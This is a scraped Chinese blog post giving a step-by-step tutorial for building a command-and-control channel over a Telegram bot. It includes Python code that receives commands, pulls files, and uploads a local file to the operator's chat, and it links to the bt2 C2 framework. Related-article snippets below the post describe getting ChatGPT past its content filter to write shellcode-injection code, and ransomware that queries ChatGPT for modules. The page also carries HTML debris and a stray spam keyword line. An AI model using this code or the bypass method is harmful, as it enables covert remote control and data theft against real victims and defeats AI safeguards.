<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    TG 下的C2創建過程

    VSole2021-11-12 15:10:05

    0x00:簡介

    沒啥新技術,基本就是老技術。我這里只是做筆記,僅供學習。

    0x01:環境部署過程

    1、申請TG token

    https://telegram.me/botfather
    

    這里有api的調用文檔

    https://core.telegram.org/bots/api
    

    2、利用python 調用 

    #!python#!/usr/bin/pythonimport sysimport timeimport pprintimport telepotbot = telepot.Bot('you-token')print ('Listening ...')def handle(msg):    print(msg)def main():     try:        bot.message_loop(handle)    except Exception as err:        print (err)    while True:        time.sleep(10)if __name__ == '__main__':    main()
    

    3、測試token 調用效果

    (記得要國外服務器的運行腳本,不然運行沒結果。我自己的沒結果)

    服務器上運行

    到TG上去對你的機器人說話

    Python腳本看到你的消息

    4、 服務端到客戶端

    PS:建議看一下API文檔在來看

    提取文字消息

    使用glance()可以從接收的消息中提取一個元組

    (content_type,chat_type,chat_id)
    

    content_type 包括

    text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.
    

    chat_type 包括

    private, group, or channel.
    

    所以我們可以使用glance()把接收的文字消息提取出來,代碼如下:

    #!python
    #!/usr/bin/python
    import sys
    import time
    import pprint
    import telepot
    bot = telepot.Bot('you-token')
    print ('Listening ...')
    def handle(msg):
        content_type, chat_type, chat_id = telepot.glance(msg)    
        if content_type == 'text':
            received_command = msg['text']
            print (received_command)        
        else:
            print (content_type, chat_type, chat_id)
            return
    def main():  
        try:
            bot.message_loop(handle)
        except Exception as err:
            print (err)
        while True:
            time.sleep(10)
    if __name__ == '__main__':
        main()
    

    接收文件

    執行接收消息的python代碼,可獲得接收文件的消息格式.

    下載文件需要使用

    bot.download_file(file_id, filename)
    #!python
    #!/usr/bin/python
    import sys
    import time
    import pprint
    import telepot
    bot = telepot.Bot('you-token')
    print ('Listening ...')
    def handle(msg):
        content_type, chat_type, chat_id = telepot.glance(msg)    
        if content_type == 'text':
            received_command = msg['text']
            print (received_command)    
        elif content_type == 'document':
            file_id = msg['document']['file_id']
            filename = msg['document']['file_name']
            bot.download_file(file_id, filename)
            print ("[+] Download File Success!")
        else:
            print (content_type, chat_type, chat_id)
            return
    def main():  
        try:
            bot.message_loop(handle)
        except Exception as err:
            print (err)
        while True:
            time.sleep(10)
    if __name__ == '__main__':
        main()
    

    5、 客戶端到服務端

    發送消息使用

    bot.sendMessage(chat_id, message)
    

    向Server端發送一條消息,代碼如下

    #!python
    import telepot
    from pprint import pprint
    bot = telepot.Bot('you-token')
    bot.sendMessage(id, 'Hello C2 Server Jaky')
    

    id換成你自己的ID

    發送文件使用

    bot.sendDocument(chat_id,file)
    

    代碼如下:

    #!python
    import telepot
    from pprint import pprint
    bot = telepot.Bot('you-token')
    f = open('/root/學習資料-種子.txt', 'rb')  
    bot.sendDocument(id, f)
    

    id換成你自己的ID

    0x02:環境測試過程

    1、搭建C2 Server

    git clone https://github.com/blazeinfosec/bt2.git
    

    2、編輯參數

    編輯bt2.py

    設置以下參數

    API_TOKEN:token
    BOTMASTER_ID:自己帳號的id
    

    pythonchat
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    模型允許有效理解自然語言,并使用潛在結果的概率分布。我們可以從以下兩方面展開來看:1、ChatGPT 帶來的網絡安全新威脅首先,從開展網絡攻擊的角度來看,ChatGPT 這類生成式人工智能是偏向于威脅行為者的。其次,目前已經看到有威脅行為者正在使用 ChatGPT 來開發惡意軟件。雖然 ChatGPT 的代碼編寫能力的質量結果好壞參半,但專門從事代碼開發的生成式 AI 可以極大地加速惡意軟件的開發速度。再者,ChatGPT 大大降低了威脅參與者基于技能的進入成本。
    以機器學習為核心,ChatGPT使用2021年及更早收集的大量數據來生成響應。內容過濾器被觸發,ChatGPT拒絕執行請求。發生這種情況是因為我們要求將shellcode注入explorer.exe中。有趣的是,通過要求ChatGPT使用多種限制并要求它做同樣的事,我們收到了一個功能代碼。到目前為止,我們已經看到ChatGPT可以為典型的勒索軟件提供必要的代碼,包括代碼注入和文件加密模塊。為了實現這一點,惡意軟件包括一個Python解釋器,它定期查詢ChatGPT,以查找執行惡意操作的新模塊。
    像任何技術創新一樣,生成式AI工具也有它的陰暗面,甚至可以被利用來危害人類的生活。在短暫的“蜜月期”之后,威脅行為者也在盡其所能地跟上新技術變革的步伐,并且在極短時間里就為爆火的ChatGPT聊天機器人創造出了各種各樣的“邪惡孿生”(evil twins)。
    ChatGPT最近添加的代碼解釋器讓使用AI編寫Python代碼變得更便捷,因為它實際上已可以編寫代碼,然后在沙盒環境中運行代碼。
    然而,隨著ChatGPT應用熱度不斷攀升,網絡犯罪分子也在快速試驗這項技術,并不斷突破企業現有的安全防護界限。例如,一個名為“Chat GPT for Google”的ChatGPT擴展于今年3月開始廣泛傳播。今年2月,安全研究人員發現網絡犯罪分子開發了一款假冒的ChatGPT應用程序,用于傳播Windows和Android惡意軟件。
    前言在攻防演練中,通常會出現溯源反制的場景,我們這里假設已經連上了黑客的服務器,并且發現黑客的電腦中使用 了ToDesk的遠程桌面軟件,如果你自己的電腦中也安裝了ToDesk,可以看到在ToDesk目錄下會有一個config.ini文件該文件中記錄了很多有趣的信息,其中包含downloadtimes 下載Todesk的時間updatePassTime 最近一次使用時間Version Todesk版本號clientid 客戶端IDLoginPhone 手機號LoginEmail 郵箱賬戶
    簡介ChatGPT近期以強大的對話和信息整合能力風靡全網,可以寫代碼、改論文、講故事,幾乎無所不能,這讓人不禁有個大膽的想法,能否用他的對話模型把我們的微信打造成一個智能機器人,可以在與好友對話中給出意想不到的回應,而且再也不用擔心女朋友影響我們?打游戲 工作了。基于ChatGPT的微信聊天機器人,通過 ChatGPT 接口生成對話內容,使用 itchat 實現微信消息的接收和自動回復。
    ChatGPT不會掀起黑客技術革命
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类